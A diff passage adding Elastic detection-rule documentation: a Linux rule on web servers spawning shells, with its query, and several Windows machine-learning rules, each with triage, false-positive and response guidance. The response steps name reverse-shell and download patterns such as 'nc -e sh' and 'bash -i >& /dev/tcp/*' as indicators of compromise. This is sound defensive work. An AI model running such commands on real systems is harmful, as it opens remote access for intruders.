investigation steps* + + +- Reconstruct the process tree around the event to identify the shell payload and parent service, determine if it chains downloads, reverse shells, or archive extraction, and hash/snapshot any referenced files. +- Pivot to web server access and error logs at the timestamp to identify the request path, client IP, user agent, and HTTP verb that triggered execution, noting anomalies like POST uploads, long query strings, or 500s. +- List and diff newly created or recently modified files under common web roots and application directories around the event time, looking for webshells, chmod+x artifacts, .php/.jsp backdoors, or systemd/cron writes by the same user. +- Correlate with network telemetry to see if the web tier opened outbound connections or listeners (nc, bash -i, curl/wget), and capture any active sockets and destinations for rapid containment. +- Validate whether the command matches expected maintenance tasks for the application (e.g., wkhtmltopdf or image processing), and if not, isolate the process and host while scoping for the same pattern across other servers and preserving volatile evidence. + + +*False positive analysis* + + +- A legitimate web-admin workflow (plugin/module install, content import, or cache warmup) spawns sh -c from an apache/nginx parent in /var/www to run tar/chmod/chown steps, producing a command line the host has not previously executed under www-data. +- A recently deployed application feature performs server-side document or image processing and rotates logs by calling sh -c from a framework parent (flask/rails/php) with a working directory in /opt or /usr/share/nginx, making the specific shell invocation a new term for this server. + + +*Response and remediation* + + +- Quarantine the affected web server by removing it from the load balancer, stopping apache/nginx/httpd, and killing the spawned shell (e.g., bash -c) while capturing /proc//cmdline and /proc//environ, lsof, and active sockets for evidence. +- Block outbound egress from the web server account and immediately deny destinations contacted by curl/wget or reverse shells (nc, bash -i to /dev/tcp), and rotate exposed API keys or credentials referenced in the command line. +- Eradicate persistence by deleting newly dropped or modified files under /var/www, /usr/share/nginx, /srv/http, /opt, or /home/*/public_html (webshells, .php backdoors), removing downloaded binaries from /tmp or /opt, and cleaning cron/systemd units created by www-data/nginx. +- Recover by restoring web content and application code from known-good backups or images, verifying file ownership and permissions, and restarting the service with monitored command allowlists and file integrity checks. +- Escalate to full incident response and forensic imaging if any reverse shell artifacts (nc -e sh, bash -i >& /dev/tcp/*), privileged writes (/etc/systemd/system/*.service, /var/spool/cron/*), or sudo execution by the web server user are observed. +- Harden by disabling risky exec paths (PHP exec/system/shell_exec and unsafe plugins), enforcing noexec,nodev,nosuid mounts on web roots, applying SELinux/AppArmor confinement to web processes, narrowing outbound egress, and deploying WAF/mod_security rules for upload and RCE vectors. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and ( + process.parent.name:( + "apache" or "nginx" or "apache2" or "httpd" or "lighttpd" or "caddy" or "mongrel_rails" or "haproxy" or + "gunicorn" or "uwsgi" or "openresty" or "cherokee" or "h2o" or "resin" or "puma" or "unicorn" or "traefik" or "uvicorn" or + "tornado" or "hypercorn" or "daphne" or "twistd" or "yaws" or "webfsd" or "httpd.worker" or "flask" or "rails" or "mongrel" or + php-fpm* or "php-cgi" or "php-fcgi" or "php-cgi.cagefs" or "java" or "node" or "catalina.sh" or "hiawatha" or "lswsctrl" + ) or + user.name:("apache" or "www-data" or "httpd" or "nginx" or "lighttpd" or "tomcat" or "tomcat8" or "tomcat9") or + user.id:("33" or "498" or "48" or "54321") +) and process.working_directory:( + /var/www/* or + /usr/share/nginx/* or + /srv/www/* or + /srv/http/* or + */webapps/* or + /home/*/public_html/* or + /home/*/www/* or + /opt/* or + /u0*/* +) and +process.command_line:* and process.name:(bash or dash or sh or tcsh or csh or zsh or ksh or fish) and process.args:"-c" and +not ( + (process.parent.name:java and not process.parent.executable:/u0*/*) or + (process.parent.name:node and process.parent.executable:(/home/*/.vscode-server/* or /users/*/.vscode-server/* or /bin/node or /usr/bin/node or /usr/local/bin/node or /opt/plesk/node/*/bin/node)) or + process.working_directory:(/u0*/*/sysman/emd or /u0*/app/oracle/product/*/dbhome_* or /u0*/app/oracle/product/*/db_* or /var/www/*edoc*) or + process.parent.executable:/tmp/* or + process.args:(/usr/local/bin/wkhtmltopdf* or /usr/bin/rsvg-convert*) or + process.command_line:*/opt/sc/bin/showvulns* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-network-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-network-activity.asciidoc new file mode 100644 index 0000000000..05e7312011 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-network-activity.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-20-unusual-windows-network-activity]] +=== Unusual Windows Network Activity + +Identifies Windows processes that do not usually use the network but have unexpected network activity, which can indicate command-and-control, lateral movement, persistence, or data exfiltration activity. A process with unusual network activity can denote process exploitation or injection, where the process is used to run persistence mechanisms that allow a malicious actor remote access or control of the host, data exfiltration, and execution of unauthorized network applications. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Windows Network Activity* + +Detection alerts from this rule indicate the presence of network activity from a Windows process for which network activity is very unusual. Here are some possible avenues of investigation: +- Consider the IP addresses, protocol and ports. Are these used by normal but infrequent network workflows? Are they expected or unexpected? +- If the destination IP address is remote or external, does it associate with an expected domain, organization or geography? Note: avoid interacting directly with suspected malicious IP addresses. +- Consider the user as identified by the username field. Is this network activity part of an expected workflow for the user who ran the program? +- Examine the history of execution. If this process only manifested recently, it might be part of a new software package. If it has a consistent cadence (for example if it runs monthly or quarterly), it might be part of a monthly or quarterly business process. +- Examine the process arguments, title and working directory. These may provide indications as to the source of the program or the nature of the tasks it is performing. +- Consider the same for the parent process. If the parent process is a legitimate system utility or service, this could be related to software updates or system management. If the parent process is something user-facing like an Office application, this process could be more suspicious. +- If you have file hash values in the event data, and you suspect malware, you can optionally run a search for the file hash to see if the file is identified as malware by anti-malware tools. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Windows + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Windows Integration Setup* + +The Windows integration allows you to monitor the Windows OS, services, applications, and more. + + +*The following steps should be executed in order to add the Elastic Agent System integration "windows" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Windows” and select the integration to see more details about it. +- Click “Add Windows”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “windows” to an existing or a new agent policy, and deploy the agent on your system from which windows log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/windows[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-process-calling-the-metadata-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-process-calling-the-metadata-service.asciidoc new file mode 100644 index 0000000000..219ddefb52 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-process-calling-the-metadata-service.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-unusual-windows-process-calling-the-metadata-service]] +=== Unusual Windows Process Calling the Metadata Service + +Looks for anomalous access to the metadata service by an unusual process. The metadata service may be targeted in order to harvest credentials or user data scripts containing secrets. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Windows Process Calling the Metadata Service* + + +In cloud environments, the metadata service provides essential instance information, including credentials and configuration data. Adversaries may exploit this by using atypical Windows processes to access the service, aiming to extract sensitive information. The detection rule leverages machine learning to identify anomalies in process behavior, flagging potential credential access attempts by unusual processes. + + +*Possible investigation steps* + + +- Review the process name and command line arguments associated with the alert to identify any unusual or suspicious activity. +- Check the parent process of the flagged process to understand the context of how it was initiated and assess if it aligns with expected behavior. +- Investigate the user account under which the process was executed to determine if it has legitimate access to the metadata service or if it has been compromised. +- Analyze network logs to identify any outbound connections to the metadata service from the flagged process, noting any unusual patterns or destinations. +- Cross-reference the process and user activity with recent changes or deployments in the environment to rule out false positives related to legitimate administrative actions. +- Consult threat intelligence sources to see if the process or command line arguments have been associated with known malicious activity or campaigns. + + +*False positive analysis* + + +- Routine system updates or maintenance scripts may trigger the rule. Review the process details and verify if they align with scheduled maintenance activities. If confirmed, consider adding these processes to an exception list. +- Legitimate software or security tools that access the metadata service for configuration purposes might be flagged. Identify these tools and create exceptions for their known processes to prevent future alerts. +- Automated backup or monitoring solutions that interact with the metadata service could be misidentified as threats. Validate these processes and exclude them if they are part of authorized operations. +- Custom scripts developed in-house for cloud management tasks may access the metadata service. Ensure these scripts are documented and, if safe, add them to the list of exceptions to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the unusual process accessing the metadata service to stop any ongoing credential harvesting attempts. +- Conduct a thorough review of the system's event logs and process history to identify any additional indicators of compromise or related malicious activity. +- Change all credentials that may have been exposed or accessed through the metadata service to mitigate the risk of unauthorized access. +- Implement network segmentation to limit access to the metadata service, ensuring only authorized processes and users can interact with it. +- Escalate the incident to the security operations center (SOC) for further analysis and to determine if the threat is part of a larger attack campaign. +- Update and enhance endpoint detection and response (EDR) solutions to improve monitoring and alerting for similar anomalous process behaviors in the future. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Windows + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Windows Integration Setup* + +The Windows integration allows you to monitor the Windows OS, services, applications, and more. + + +*The following steps should be executed in order to add the Elastic Agent System integration "windows" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Windows” and select the integration to see more details about it. +- Click “Add Windows”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “windows” to an existing or a new agent policy, and deploy the agent on your system from which windows log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/windows[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-remote-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-remote-user.asciidoc new file mode 100644 index 0000000000..cd2982ae41 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-remote-user.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-unusual-windows-remote-user]] +=== Unusual Windows Remote User + +A machine learning job detected an unusual remote desktop protocol (RDP) username, which can indicate account takeover or credentialed persistence using compromised accounts. RDP attacks, such as BlueKeep, also tend to use unusual usernames. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Windows Remote User* + +Detection alerts from this rule indicate activity for a rare and unusual Windows RDP (remote desktop) user. Here are some possible avenues of investigation: +- Consider the user as identified by the username field. Is the user part of a group who normally logs into Windows hosts using RDP (remote desktop protocol)? Is this logon activity part of an expected workflow for the user? +- Consider the source of the login. If the source is remote, could this be related to occasional troubleshooting or support activity by a vendor or an employee working remotely? + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Windows + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Windows Integration Setup* + +The Windows integration allows you to monitor the Windows OS, services, applications, and more. + + +*The following steps should be executed in order to add the Elastic Agent System integration "windows" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Windows” and select the integration to see more details about it. +- Click “Add Windows”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “windows” to an existing or a new agent policy, and deploy the agent on your system from which windows log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/windows[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-service.asciidoc new file mode 100644 index 0000000000..68c96f8833 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-service.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-unusual-windows-service]] +=== Unusual Windows Service + +A machine learning job detected an unusual Windows service, This can indicate execution of unauthorized services, malware, or persistence mechanisms. In corporate Windows environments, hosts do not generally run many rare or unique services. This job helps detect malware and persistence mechanisms that have been installed and run as a service. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Windows Service* + + +Windows services are crucial for running background processes and applications. Adversaries exploit this by creating or modifying services to maintain persistence or execute unauthorized actions. The 'Unusual Windows Service' detection rule leverages machine learning to identify atypical services, flagging potential threats by comparing against known service patterns, thus aiding in early threat detection and response. + + +*Possible investigation steps* + + +- Review the details of the detected unusual Windows service, including the service name, path, and any associated executables, to determine if it aligns with known legitimate services or appears suspicious. +- Check the creation and modification timestamps of the service to identify if it was recently added or altered, which could indicate unauthorized activity. +- Investigate the user account under which the service is running to assess if it has the necessary permissions and if the account has been compromised or misused. +- Cross-reference the service with known threat intelligence databases to see if it matches any known malware or persistence mechanisms. +- Analyze the network activity and connections associated with the service to identify any unusual or unauthorized communication patterns. +- Examine the host's event logs for any related entries that could provide additional context or evidence of malicious activity, such as failed login attempts or privilege escalation events. + + +*False positive analysis* + + +- Legitimate software installations or updates may create new services that are flagged as unusual. Users should verify the source and purpose of the service before excluding it. +- Custom in-house applications often run unique services that can trigger alerts. Document these services and create exceptions to prevent future false positives. +- IT administrative tools might install services for management purposes. Confirm these tools are authorized and add them to an exception list if they are frequently flagged. +- Temporary services used for troubleshooting or testing can be mistaken for threats. Ensure these are removed after use or excluded if they are part of regular operations. +- Scheduled tasks that create services for specific operations might be flagged. Review these tasks and exclude them if they are part of normal business processes. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent potential lateral movement or data exfiltration by the unauthorized service. +- Terminate the unusual Windows service identified by the alert to stop any ongoing malicious activity. +- Conduct a thorough analysis of the service's executable and associated files to determine if they are malicious. Use endpoint detection and response (EDR) tools to assist in this analysis. +- Remove any malicious files or executables associated with the service from the system to ensure complete eradication of the threat. +- Restore the affected system from a known good backup if the service has caused significant changes or damage to the system. +- Monitor the system and network for any signs of re-infection or similar unusual service activity, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Windows + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Windows Integration Setup* + +The Windows integration allows you to monitor the Windows OS, services, applications, and more. + + +*The following steps should be executed in order to add the Elastic Agent System integration "windows" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Windows” and select the integration to see more details about it. +- Click “Add Windows”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “windows” to an existing or a new agent policy, and deploy the agent on your system from which windows log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/windows[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-user-privilege-elevation-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-user-privilege-elevation-activity.asciidoc new file mode 100644 index 0000000000..d195132c4c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-windows-user-privilege-elevation-activity.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-20-unusual-windows-user-privilege-elevation-activity]] +=== Unusual Windows User Privilege Elevation Activity + +A machine learning job detected an unusual user context switch, using the runas command or similar techniques, which can indicate account takeover or privilege escalation using compromised accounts. Privilege elevation using tools like runas are more commonly used by domain and network administrators than by regular Windows users. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m 